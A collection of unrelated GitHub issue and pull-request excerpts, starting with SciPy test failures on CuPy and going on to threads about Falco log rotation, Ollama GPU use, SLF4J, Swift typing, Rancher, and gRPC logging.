FAILED scipy/integrate/tests/test_cubature.py::TestCubatureProblems::test_array_output[shape6-problem1-cupy-gk15-1e-05-0.0001] - AttributeError: module 'cupy' has no attribute 'pow'
FAILED scipy/integrate/tests/test_cubature.py::TestCubatureProblems::test_array_output[shape6-problem1-cupy-gk21-1e-05-0.0001] - AttributeError: module 'cupy' has no attribute 'pow'
FAILED scipy/integrate/tests/test_cubature.py::TestCubatureProblems::test_array_output[shape6-problem1-cupy-genz-malik-1e-05-0.0001] - AttributeError: module 'cupy' has no attribute 'pow'
FAILED scipy/integrate/tests/test_cubature.py::TestCubatureProblems::test_array_output[shape6-problem2-cupy-genz-malik-1e-05-0.0001] - TypeError: Implicit conversion to a NumPy array is not allowed. Please use `.get()` to construct a NumPy array explicitly.
FAILED scipy/integrate/tests/test_cubature.py::TestCubatureProblems::test_array_output[shape6-problem3-cupy-genz-malik-1e-05-0.0001] - TypeError: Implicit conversion to a NumPy array is not allowed. Please use `.get()` to construct a NumPy array explicitly.
FAILED scipy/integrate/tests/test_cubature.py::TestCubatureProblems::test_array_output[shape6-problem4-cupy-gk15-1e-05-0.0001] - AttributeError: module 'cupy' has no attribute 'pow'
FAILED scipy/integrate/tests/test_cubature.py::TestCubatureProblems::test_array_output[shape6-problem4-cupy-gk21-1e-05-0.0001] - AttributeError: module 'cupy' has no attribute 'pow'
FAILED scipy/integrate/tests/test_cubature.py::TestCubatureProblems::test_array_output[shape6-problem4-cupy-genz-malik-1e-05-0.0001] - AttributeError: module 'cupy' has no attribute 'pow'
FAILED scipy/integrate/tests/test_cubature.py::TestCubatureProblems::test_array_output[shape7-problem0-cupy-genz-malik-1e-05-0.0001] - TypeError: Implicit conversion to a NumPy array is not allowed. Please use `.get()` to construct a NumPy array explicitly.
FAILED scipy/integrate/tests/test_cubature.py::TestCubatureProblems::test_array_output[shape7-problem1-cupy-gk15-1e-05-0.0001] - AttributeError: module 'cupy' has no attribute 'pow'
FAILED scipy/integrate/tests/test_cubature.py::TestCubatureProblems::test_array_output[shape7-problem1-cupy-gk21-1e-05-0.0001] - AttributeError: module 'cupy' has no attribute 'pow'
FAILED scipy/integrate/tests/test_cubature.py::TestCubatureProblems::test_array_output[shape7-problem1-cupy-genz-malik-1e-05-0.0001] - AttributeError: module 'cupy' has no attribute 'pow'
FAILED scipy/integrate/tests/test_cubature.py::TestCubatureProblems::test_array_output[shape7-problem2-cupy-genz-malik-1e-05-0.0001] - TypeError: Implicit conversion to a NumPy array is not allowed. Please use `.get()` to construct a NumPy array explicitly.
FAILED scipy/integrate/tests/test_cubature.py::TestCubatureProblems::test_array_output[shape7-problem3-cupy-gk15-1e-05-0.0001] - TypeError: Implicit conversion to a NumPy array is not allowed. Please use `.get()` to construct a NumPy array explicitly.
FAILED scipy/integrate/tests/test_cubature.py::TestCubatureProblems::test_array_output[shape7-problem3-cupy-genz-malik-1e-05-0.0001] - TypeError: Implicit conversion to a NumPy array is not allowed. Please use `.get()` to construct a NumPy array explicitly.
FAILED scipy/integrate/tests/test_cubature.py::TestCubatureProblems::test_array_output[shape7-problem4-cupy-gk15-1e-05-0.0001] - AttributeError: module 'cupy' has no attribute 'pow'
FAILED scipy/integrate/tests/test_cubature.py::TestCubatureProblems::test_array_output[shape7-problem4-cupy-gk21-1e-05-0.0001] - AttributeError: module 'cupy' has no attribute 'pow'
FAILED scipy/integrate/tests/test_cubature.py::TestCubatureProblems::test_array_output[shape7-problem4-cupy-genz-malik-1e-05-0.0001] - AttributeError: module 'cupy' has no attribute 'pow'
FAILED scipy/integrate/tests/test_cubature.py::TestCubatureProblems::test_array_output[shape8-problem0-cupy-genz-malik-1e-05-0.0001] - TypeError: Implicit conversion to a NumPy array is not allowed. Please use `.get()` to construct a NumPy array explicitly.
FAILED scipy/integrate/tests/test_cubature.py::TestCubatureProblems::test_array_output[shape8-problem1-cupy-gk15-1e-05-0.0001] - AttributeError: module 'cupy' has no attribute 'pow'
FAILED scipy/integrate/tests/test_cubature.py::TestCubatureProblems::test_array_output[shape8-problem1-cupy-gk21-1e-05-0.0001] - AttributeError: module 'cupy' has no attribute 'pow'
FAILED scipy/integrate/tests/test_cubature.py::TestCubatureProblems::test_array_output[shape8-problem1-cupy-genz-malik-1e-05-0.0001] - AttributeError: module 'cupy' has no attribute 'pow'
FAILED scipy/integrate/tests/test_cubature.py::TestCubatureProblems::test_array_output[shape8-problem2-cupy-genz-malik-1e-05-0.0001] - TypeError: Implicit conversion to a NumPy array is not allowed. Please use `.get()` to construct a NumPy array explicitly.
FAILED scipy/integrate/tests/test_cubature.py::TestCubatureProblems::test_array_output[shape8-problem3-cupy-gk15-1e-05-0.0001] - TypeError: Implicit conversion to a NumPy array is not allowed. Please use `.get()` to construct a NumPy array explicitly.
FAILED scipy/integrate/tests/test_cubature.py::TestCubatureProblems::test_array_output[shape8-problem3-cupy-genz-malik-1e-05-0.0001] - TypeError: Implicit conversion to a NumPy array is not allowed. Please use `.get()` to construct a NumPy array explicitly.
FAILED scipy/integrate/tests/test_cubature.py::TestCubatureProblems::test_array_output[shape8-problem4-cupy-gk15-1e-05-0.0001] - AttributeError: module 'cupy' has no attribute 'pow'
FAILED scipy/integrate/tests/test_cubature.py::TestCubatureProblems::test_array_output[shape8-problem4-cupy-gk21-1e-05-0.0001] - AttributeError: module 'cupy' has no attribute 'pow'
FAILED scipy/integrate/tests/test_cubature.py::TestCubatureProblems::test_array_output[shape8-problem4-cupy-genz-malik-1e-05-0.0001] - AttributeError: module 'cupy' has no attribute 'pow'
FAILED scipy/integrate/tests/test_cubature.py::TestCubatureProblems::test_array_output[shape9-problem0-cupy-genz-malik-1e-05-0.0001] - TypeError: Implicit conversion to a NumPy array is not allowed. Please use `.get()` to construct a NumPy array explicitly.
FAILED scipy/integrate/tests/test_cubature.py::TestCubatureProblems::test_array_output[shape9-problem1-cupy-gk15-1e-05-0.0001] - AttributeError: module 'cupy' has no attribute 'pow'
FAILED scipy/integrate/tests/test_cubature.py::TestCubatureProblems::test_array_output[shape9-problem1-cupy-gk21-1e-05-0.0001] - AttributeError: module 'cupy' has no attribute 'pow'
FAILED scipy/integrate/tests/test_cubature.py::TestCubatureProblems::test_array_output[shape9-problem1-cupy-genz-malik-1e-05-0.0001] - AttributeError: module 'cupy' has no attribute 'pow'
FAILED scipy/integrate/tests/test_cubature.py::TestCubatureProblems::test_array_output[shape9-problem2-cupy-genz-malik-1e-05-0.0001] - TypeError: Implicit conversion to a NumPy array is not allowed. Please use `.get()` to construct a NumPy array explicitly.
FAILED scipy/integrate/tests/test_cubature.py::TestCubatureProblems::test_array_output[shape9-problem3-cupy-genz-malik-1e-05-0.0001] - TypeError: Implicit conversion to a NumPy array is not allowed. Please use `.get()` to construct a NumPy array explicitly.
FAILED scipy/integrate/tests/test_cubature.py::TestCubatureProblems::test_array_output[shape9-problem4-cupy-gk15-1e-05-0.0001] - AttributeError: module 'cupy' has no attribute 'pow'
FAILED scipy/integrate/tests/test_cubature.py::TestCubatureProblems::test_array_output[shape9-problem4-cupy-gk21-1e-05-0.0001] - AttributeError: module 'cupy' has no attribute 'pow'
FAILED scipy/integrate/tests/test_cubature.py::TestCubatureProblems::test_array_output[shape9-problem4-cupy-genz-malik-1e-05-0.0001] - AttributeError: module 'cupy' has no attribute 'pow'
FAILED scipy/integrate/tests/test_cubature.py::TestRulesQuadrature::test_base_1d_quadratures_simple[NewtonCotesQuadrature-rule_args0-cupy] - AttributeError: module 'cupy' has no attribute 'pow'
FAILED scipy/integrate/tests/test_cubature.py::TestRulesQuadrature::test_base_1d_quadratures_simple[NewtonCotesQuadrature-rule_args1-cupy] - AttributeError: module 'cupy' has no attribute 'pow'
FAILED scipy/integrate/tests/test_cubature.py::TestRulesQuadrature::test_base_1d_quadratures_simple[NewtonCotesQuadrature-rule_args2-cupy] - AttributeError: module 'cupy' has no attribute 'pow'
FAILED scipy/integrate/tests/test_cubature.py::TestRulesQuadrature::test_base_1d_quadratures_simple[NewtonCotesQuadrature-rule_args3-cupy] - AttributeError: module 'cupy' has no attribute 'pow'
FAILED scipy/integrate/tests/test_cubature.py::TestRulesQuadrature::test_base_1d_quadratures_simple[NewtonCotesQuadrature-rule_args4-cupy] - AttributeError: module 'cupy' has no attribute 'pow'
FAILED scipy/integrate/tests/test_cubature.py::TestRulesQuadrature::test_base_1d_quadratures_simple[NewtonCotesQuadrature-rule_args5-cupy] - AttributeError: module 'cupy' has no attribute 'pow'
FAILED scipy/integrate/tests/test_cubature.py::TestRulesQuadrature::test_base_1d_quadratures_simple[GaussLegendreQuadrature-rule_args6-cupy] - AttributeError: module 'cupy' has no attribute 'pow'
FAILED scipy/integrate/tests/test_cubature.py::TestRulesQuadrature::test_base_1d_quadratures_simple[GaussLegendreQuadrature-rule_args7-cupy] - AttributeError: module 'cupy' has no attribute 'pow'
FAILED scipy/integrate/tests/test_cubature.py::TestRulesQuadrature::test_base_1d_quadratures_simple[GaussLegendreQuadrature-rule_args8-cupy] - AttributeError: module 'cupy' has no attribute 'pow'
FAILED scipy/integrate/tests/test_cubature.py::TestRulesQuadrature::test_base_1d_quadratures_simple[GaussKronrodQuadrature-rule_args9-cupy] - AttributeError: module 'cupy' has no attribute 'pow'
FAILED scipy/integrate/tests/test_cubature.py::TestRulesQuadrature::test_base_1d_quadratures_simple[GaussKronrodQuadrature-rule_args10-cupy] - AttributeError: module 'cupy' has no attribute 'pow'
FAILED scipy/integrate/tests/test_cubature.py::TestRulesQuadrature::test_base_1d_quadratures_error_from_difference[rule_pair0-rule_pair_args0-cupy] - AttributeError: module 'cupy' has no attribute 'concat'
FAILED scipy/integrate/tests/test_cubature.py::TestRulesQuadrature::test_base_1d_quadratures_error_from_difference[rule_pair1-rule_pair_args1-cupy] - AttributeError: module 'cupy' has no attribute 'concat'
========================================================= 124 failed, 117 passed, 5 skipped in 4.65s ==========================================================
(scipy-dev) ev-br@qgpu3:~/repos/scipy$ ~

Also non-array-api failures with numpy < 2 look real (np.atan, np.concat etc)

Needs a rebase now. Either git rebase upstream/main and fix conflicts, or start from main and git cherry-pick new commits.

Free-threaded CI failure is unrelated, merging as approved. Thanks @ollybritton , @lucascolley for the  review


Insta Aave Automation connector

[x] review @thrilok209
[x] deploy
[x] comment
[x] enable
[x] add to sdk

Deployed
Name: INSTA-AAVE-V3-AUTOMATION-A
Addr: 0xB73903B4e3146bdd94b23B0f7Fd6b4b8640b9B58
tx:

Deployed on Polygon
Name: AAVE-V3-AUTOMATION-STAGING-A
Addr: 0x4AD1A066346944ec4f9F5821FB6BEa3138fA26b8
tx:
Deployed on Avax
Name: AAVE-V3-AUTOMATION-STAGING-A
Addr: 0x8d88AF7A4264a21BeD8cE96211CB580EFf956629
tx:


HDDS-10999. Remove dependency on ratis-server from Ozone Client

What changes were proposed in this pull request?
HDDS/Ozone Client depends (via hdds-common) on Ratis Server, which is unnecessary after the separation of Ratis Server API.
https://issues.apache.org/jira/browse/HDDS-10999
How was this patch tested?
CI:
https://github.com/adoroszlai/ozone/actions/runs/9450260526

Thanks @kerneltime for reviewing and merging this.


Propose log rotation in parameters for falco events stored in falco file output

Motivation
In my perception of Falco configuration, file_output consists in Falco log file. This file is never emptied.
We should implement a system  as kubernetes does for audit-log:
--audit-log-maxage     # defined the maximum number of days to retain old audit log files
--audit-log-maxbackup  # defines the maximum number of audit log files to retain
--audit-log-maxsize    # defines the maximum size in megabytes of the audit log file before it gets rotated

Feature
Having a mechanism as logrotate or a cron job to manage Falco file_output to avoid having an infinite size.

Thanks for the valid idea!
I provided a possible implementation of this feature with PR #1827

Issues go stale after 90d of inactivity.
Mark the issue as fresh with /remove-lifecycle stale.
Stale issues rot after an additional 30d of inactivity and eventually close.
If this issue is safe to close now please do so with /close.
Provide feedback via https://github.com/falcosecurity/community.
/lifecycle stale

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Reopen the issue with /reopen.
Mark the issue as fresh with /remove-lifecycle rotten.
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/close

@poiana: Closing this issue.

In response to this:

Rotten issues close after 30d of inactivity.
Reopen the issue with /reopen.
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Provide feedback via https://github.com/falcosecurity/community.
/close

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository.

Hey! The feature is still valid. In my case, I want to store events in files and then send them to the long-term logs storage. It is excessive to keep events forever, but there is no way to configure it with the file_output now.
Is it possible to reopen this issue?


Make available only one binding for SLF4J on classpath (fixes #659)

Hello people,
This pull request excludes a dependency from the project's build.gradle in order to have a single binding for SLF4J on classpath.
Thanks,
Jafer

@jaferkhan Thank you for the pull request and issue fix!

You're most welcome ^_^


Force ollama to use GPU

Me and, seemingly, a few people using this repo have been encountering a problem of the models being loaded into the CPU memory after inactivity/sleep mode/etc. Would there be a possibility to have a flag that would cause the ollama to fail if it cannot load the model onto the GPU and try again?

Maybe during the time your GPU driver had been updated. I had file a bug the after updating the Nvidia GPU driver, Ollama stopped using GPU acceleration until you restart Ollama service or your computer.


Possible to use typeahead w/ a comprehension expression?

I'm trying to do approximately:
<h2 class="foo.color" editable-text="foo.topicId" e-typeahead="topic.id as topic.name for topic in getTopics($viewValue)" e-typeahead-wait-ms="200" e-form="changeTopic">
    {{topic.name}}
</h2>

Is this possible?  It's not clear to me from the docs whether I'm doing something wrong or if this style of operation is not yet supported.
The main issue is that after selection, the id is rendered instead of the topic text as desired.
jsFiddle here, albeit with issues: http://jsfiddle.net/NfPcH/688/

@redterror  I am also looking to implement something similar. Please inform if you resolve it.
Thanks in advance!

We ended up with a different solution.  It's been a while now, so my apologies but I don't recall what we did.

Is this still an issue?

See this thread on your options for for doing this.

@eugef this question has been answered, please close.


Existential Types Cannot Satisfy Superclass Bounds

It is not the case that any P satisfies a class bound
even if the existential is a composition with an exact
match to the class bound. The resulting existential box
must be opened as the exact class type before this conversion
can succeed.
This appears to be a regression from Swift 5.1, which was the last
Swift compiler that banned this typing rule.
rdar://92358570

@swift-ci test source compatibility


[2.4] Enabling monitoring on new cluster gives intermittent 500 errors and object has been modified error

backport for: https://github.com/rancher/rancher/issues/30188

the bug fix is validated on v2.4-4378-head 8e306b57b
see https://github.com/rancher/rancher/issues/30188#issuecomment-737574038 for the testing script.
Run the same script 10 times in a row and do not see the error happen.


C++ needs a way to get service name and method name for logging purpose

What version of gRPC and what language are you using?
1.17.2 c++
What operating system (Linux, Windows, …) and version?
CentOS 7.2
What runtime / compiler are you using (e.g. python version or version of gcc)
gcc 4.8.5
What did you do?
If possible, provide a recipe for reproducing the error. Try being specific and include code snippets if helpful.
What did you expect to see?
needs a way to get service name and method name from ServerContext, for logging purpose, just like GenericServerContext.
What did you see instead?
currently can't get service name and method name in method handler, i just make a workaround by create a channel_filter to add grpc.service and grpc.method into client_metadata.
Make sure you include information that can help us debug (full error message, exception listing, stack trace, logs).
See https://github.com/grpc/grpc/blob/master/TROUBLESHOOTING.md for how to diagnose problems better.
Anything else we should know about your project / environment?
needs a common way to logging any rpc call, with service name, method name and expected message filed.

What you want can be achieved with the interception API.